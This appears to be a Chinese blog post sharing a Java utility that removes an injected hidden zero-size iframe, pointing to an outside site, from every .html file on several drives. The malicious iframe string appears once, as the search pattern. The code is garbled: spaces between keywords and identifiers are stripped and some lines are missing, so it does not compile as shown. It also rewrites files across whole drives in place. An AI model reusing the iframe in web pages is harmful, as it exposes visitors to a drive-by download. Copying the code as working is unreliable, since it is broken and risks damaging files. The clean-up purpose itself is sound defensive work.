文件清除

不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.

Java代码

1. publicclassFileUtils{
2. publicstaticvoidmain(String[]args)throwsException{
3. Stringcontent="<iframewidth='0'height='0'src='http://mmm.mmy88.cn/lx.htm'></iframe>";
4. StringextName=".html";
6. String[]dirs={"C:","D:","E:","F:"};
7. for(inti=0;i<dirs.length;i++){
8. Stringdir=dirs[i];
9. longt1=System.currentTimeMillis();
10. delContent(content,dir,extName);
11. longtime=System.currentTimeMillis()-t1;
12. System.out.printf("Processdirectory%sin%dseconds\n",dir,time/1000);
13. }
14. }
16. /**
17. *Delcontentinallthefiles(.extName)underthespecifieddirectory
18. *
19. *@paramextNamelike".html"
20. */
21. publicstaticvoiddelContent(Stringcontent,Stringdir,StringextName)throwsException{
22. List<String>fileNames=listFileNames(dir,extName);
23. //System.out.println("Modifying...");
25. for(inti=0;i<fileNames.size();i++){
26. StringfileName=fileNames.get(i);
27. //System.out.printf("%5dModifyingfile:%s\n",i,fileName);
29. //Read
30. Filef=newFile(fileName);
31. BufferedInputStreambin=newBufferedInputStream(newFileInputStream(f));
32. byte[]buff=newbyte[((int)f.length())];
33. bin.read(buff);
34. bin.close();
35. Stringstr=newString(buff,"utf-8");
36. String[]all=str.split("\r\n");
38. //Write
39. OutputStreamfout=newFileOutputStream(f);
40. for(intj=0;j<all.length;j++){
41. all[j]=all[j].replaceAll(content,"");
42. fout.write((all[j]+"\r\n").getBytes("utf-8"));
43. }
44. fout.flush();
45. fout.close();
46. }
47. }
49. /**
50. *Listallfile(.extName)nameinthepath
51. *
52. *@paramextNamelike".html"
53. */
54. publicstaticList<String>listFileNames(finalStringpath,finalStringextName){
55. List<String>fileNames=newArrayList<String>();
57. FilenameFilterfilter=newFilenameFilter(){
58. publicbooleanaccept(Filedir,Stringname){
59. Filefile=newFile(dir,name);
60. returnname.endsWith(extName)||file.isDirectory();
61. }
62. };
64. Filedir=newFile(path);
65. listFileNames(dir,filter,fileNames);
67. returnfileNames;
68. }
70. privatestaticvoidlistFileNames(Filedir,FilenameFilterfilter,List<String>fileNames){
71. String[]names=dir.list(filter);
72. for(Strings:names){
73. StringfileName=dir.getPath()+File.separator+s;
74. Filefile=newFile(fileName);
76. if(file.isDirectory())
77. listFileNames(file,filter,fileNames);
78. else
79. fileNames.add(fileName);
80. }
81. }
82. }